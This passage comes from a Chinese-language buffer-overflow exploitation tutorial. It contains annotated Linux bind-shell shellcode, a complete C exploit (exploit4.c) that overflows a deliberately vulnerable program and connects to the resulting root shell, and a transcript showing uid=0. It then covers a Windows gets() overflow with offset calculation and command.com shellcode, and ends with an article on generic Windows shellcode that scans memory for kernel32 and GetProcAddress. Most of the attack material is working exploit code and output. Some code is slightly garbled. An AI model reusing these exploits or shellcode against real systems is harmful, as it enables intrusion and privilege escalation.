02 "\xb0\x02" /* movb $0x2,%al */
04 "\xcd\x80" /* int $0x80 */
06 "\x85\xc0" /* testl %eax,%eax */
08 "\x75\x43" /* jne 0x43 */
/* 执行fork()，当fork()!=0 的时候，表明是父进程，要终止 */
/* 因此，跳到0x43＋a=0x4d，再跳到后面，执行 exit(0) */
0a "\xeb\x43" /* jmp 0x43 */
/* 当fork()==0 的时候，表明是子进程 */
/* 因此，跳到0x43+0c=0x4f,再跳到后面，执行 call -0xa5 */
0c "\x5e" /* popl %esi */
0d "\x31\xc0" /* xorl %eax,%eax */
0f "\x31\xdb" /* xorl %ebx,%ebx */
11 "\x89\xf1" /* movl %esi,%ecx */
13 "\xb0\x02" /* movb $0x2,%al */
15 "\x89\x06" /* movl %eax,(%esi) */
17 "\xb0\x01" /* movb $0x1,%al */
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
1c "\xb0\x06" /* movb $0x6,%al */
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */
21 "\xb0\x66" /* movb $0x66,%al */
23 "\xb3\x01" /* movb $0x1,%bl */
25 "\xcd\x80" /* int $0x80 */
/* 执行socket()，eax里面为返回值soc文件描述符 */
27 "\x89\x06" /* movl %eax,(%esi) */
29 "\xb0\x02" /* movb $0x2,%al */
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
2f "\xb0\x77" /* movb $0x77,%al */
31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
3b "\x31\xc0" /* xorl %eax,%eax */
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */
40 "\xb0\x10" /* movb $0x10,%al */
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
45 "\xb0\x66" /* movb $0x66,%al */
47 "\xb3\x02" /* movb $0x2,%bl */
49 "\xcd\x80" /* int $0x80 */
/* 执行bind() */
4b "\xeb\x04" /* jmp 0x4 */
/* 越过下面的两个跳转 */
4d "\xeb\x55" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */
4f "\xeb\x5b" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */
51 "\xb0\x01" /* movb $0x1,%al */
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
56 "\xb0\x66" /* movb $0x66,%al */
58 "\xb3\x04" /* movb $0x4,%bl */
5a "\xcd\x80" /* int $0x80 */
/* 执行listen() */
5c "\x31\xc0" /* xorl %eax,%eax */
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
64 "\xb0\x66" /* movb $0x66,%al */
66 "\xb3\x05" /* movb $0x5,%bl */
68 "\xcd\x80" /* int $0x80 */
/* 执行accept()，eax里面为返回值cli文件描述符 */
6a "\x88\xc3" /* movb %al,%bl */
6c "\xb0\x3f" /* movb $0x3f,%al */
6e "\x31\xc9" /* xorl %ecx,%ecx */
70 "\xcd\x80" /* int $0x80 */
72 "\xb0\x3f" /* movb $0x3f,%al */
74 "\xb1\x01" /* movb $0x1,%cl */
76 "\xcd\x80" /* int $0x80 */
78 "\xb0\x3f" /* movb $0x3f,%al */
7a "\xb1\x02" /* movb $0x2,%cl */
7c "\xcd\x80" /* int $0x80 */
/* 执行三个dup2() */
7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83 "\x89\x06" /* movl %eax,(%esi) */
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */
8d "\x31\xc0" /* xorl %eax,%eax */
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
98 "\xb0\x0b" /* movb $0xb,%al */
9a "\x89\xf3" /* movl %esi,%ebx */
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
a2 "\xcd\x80" /* int $0x80 */
/* 执行execve() */
/* 运行/bin/sh() */
a4 "\x31\xc0" /* xorl %eax,%eax */
a6 "\xb0\x01" /* movb $0x1,%al */
a8 "\x31\xdb" /* xorl %ebx,%ebx */
aa "\xcd\x80" /* int $0x80 */
/* 执行exit() */
ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */
/* 执行0x0c处的指令 */
b1
------------------------------------------------------------------------
----
好，长长的shell终于写完了，下面就是攻击程序了。
exploit4.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff" /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can"t resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can"t create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can"t connect to the shell\n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="\0"
printf("Jump to 0x%08x\n",addr);
if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很简单，先生成溢出串，格式为：NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon，参数为我们的字符串。好，堆栈溢出发生了。我们的
shellcode被
执行，那么在30464端口就会有server在listen了。
父进程睡五秒，等待这些完成。就连接本机的端口30464。连接建立后，从socket
读取
收到的字符串，打印到标准输出，从标准输入读取字符串，传到socket的server端
。
下面来试一试：
我们先写一个漏洞程序：
vulnerable.C
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----
#include <stdio.h>
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------
----
[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can"t connect to the shell
看到了吗？我在vulnerable.C里面加入了一个printf，打印buffer的首地址，这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好，就用956来进行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。
嘿嘿，大功告成了。
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window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序
的
堆栈溢出漏洞。
让我们从头开始。windows 98第二版
首先，我们来写一个问题程序：
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("\\0x%x",name[i]);
}
相信大家都看出来了，gets(name)对name数组没有作边界检查。那么我们可以给程
序
一个很长的串，肯定可以覆盖堆栈中的返回地址。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
到这里，出现了那个熟悉的对话框“该程序执行了非法操作。。。”，太好了，点
击
详细信息按钮，看到EIP的值是0x61616161，哈哈，对话框还会把返回地址告诉我
们。
这个功能太好了，我们可以选择一个序列的输入串，精确的确定存放返回地址的偏
移位置。
C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里，又出现了那个熟悉的对话框“改程序执行了非法操作。。。”，点击详细
信息
按钮，下面是详细信息：
VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦，EIP的内容为0x32363235，就是2625,EBP的内容为0x32343233，就是2423,计
算
一下可以知道，在堆栈中，从name变量地址开始偏移36处，是EBP的地址，从name
变量
地址开始偏移40处，是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么，name的开始
地址
是多少呢？
通过上面的stack dump 我们可以看到，当前ESP所指向的地址0x0064fe00，内容为
0x32383237,那么计算得出，name的开始地址为：0x0064fe00-44=0x64fdd4。在
windows
系统，其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址
都
是相同的。也就是说，每次运行，name的地址都是0x64fdd4。
讲到这里，大家一定已经发现了这样一个情况：在win系统中，由于有地址冲突检
测，
出错时寄存器影像和堆栈影像，使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。
OK，万事具备，只差shellcode了。
首先，考虑一下我们的shellcode要作什么？显然，根据以往的经验，我们想开一
个
dos窗口，这样在这个窗口下，我们就可以作很多事情。
开一个dos窗口的程序如下：
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll"
char sysbuf[7] = "system"
char cmdbuf[16] = "command.com"
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面，语句system(command.com)；将完成我们需要的功能。
但是，windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说
，
windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。
因此，当我们想调用一个系统函数的时候，并不能直接引用他。我们必须找到那个
包含此函数的动态链接库，由该动态链接库提供这个函数的地址。DLL本身也有一
个
基本地址，该DLL每一次被加载都是从这个基本地址加载。比如，system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供，而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处（这个偏移地
址
只与msvcrt.dll的版本有关，不同的版本可能偏移地址不同）。我的系统上，
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。
所以，要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接
库
msvcrt.dll，获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。
好了，现在可以编译执行，结果正确，我们得到了一个dos框。
现在对这个程序进行调试跟踪汇编语言，可以得到：
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在，eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数，只有一个参数，就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
现在我们可以写出一段汇编代码来完成system，看以看我们的执行system调用的代
码
是否能够像我们设计的那样工作：
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp，esp－4
mov ebp,esp ;给ebp赋新值，将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0，esp－4，
;作用是构造字符串的结尾\0字符
。
sub esp,08h ;加上上面，一共有12个字节，
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译，然后运行。好，DOS框出来了。在提示符下输入dir,copy......是不是想起
了
当年用286的时候了？
敲exit退出来，哎呀，发生了非法操作。Access Violation。这是肯定的，因为我
们的
程序已经把堆栈指针搞乱了。
对上面的算法进行优化，现在我们可以写出shellcode如下：
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
还记得第二讲中那个测试shellcode的基本程序吗？我们可以用他来测试这个
shellcode：
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有push ebp ,否则加1就可以了。）
(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。
}
编译运行，得到dos对话框。
现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出，如何计
算
偏移地址，以及如何编写一个shellcode以得到dos。理论上，你已经具备了利用堆
栈溢出
的能力了，下面，我们通过实战来真正掌握他。
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WINDOWS的SHELLCODE编写高级技巧
作者：yuange
unix等系统因为有用户概念，所以往往溢出是使用先得到普通帐号，然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限，其系统调用又方便，所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务，所以溢出攻击的SHELLCODE往往要提供SOCKET
连接，要加载程序得到SHELL等，而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范，所以一般都使用API，而API函数地址又因为系统版本的不同而不一样，所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。
经过一段时间的思考，得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法，这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位，只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址，54 C3，或者FF E4
、C3这个一个语言的WINDOWS地址固定，也很好找这个地址。
4、SHELLCODE直接使用C语言编写，方便编写、修改、调试。
5、SHELLCODE统一编码，满足应用条件对SHELLCODE字符的限制，用一段小汇编代码解
码，这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密，对付防火墙，实现FTP功能，实现内存直接接管WEB服务等的高级应用。
下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位，要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢，LoadLibraryA这个API在系统库KERNEL32.DLL里
面，也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll，所以解决办法就是在
内存里面找到这个系统库和API地址，所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码：
void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle；
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链，SHELLCODE接管异常 */
imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */
call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位，加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到，那可能是WIN9X系统 */
if(*( WORD *)imgbase=='ZM'&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址，就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。
_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */
if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址，并填写到异常处理模块 */
/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}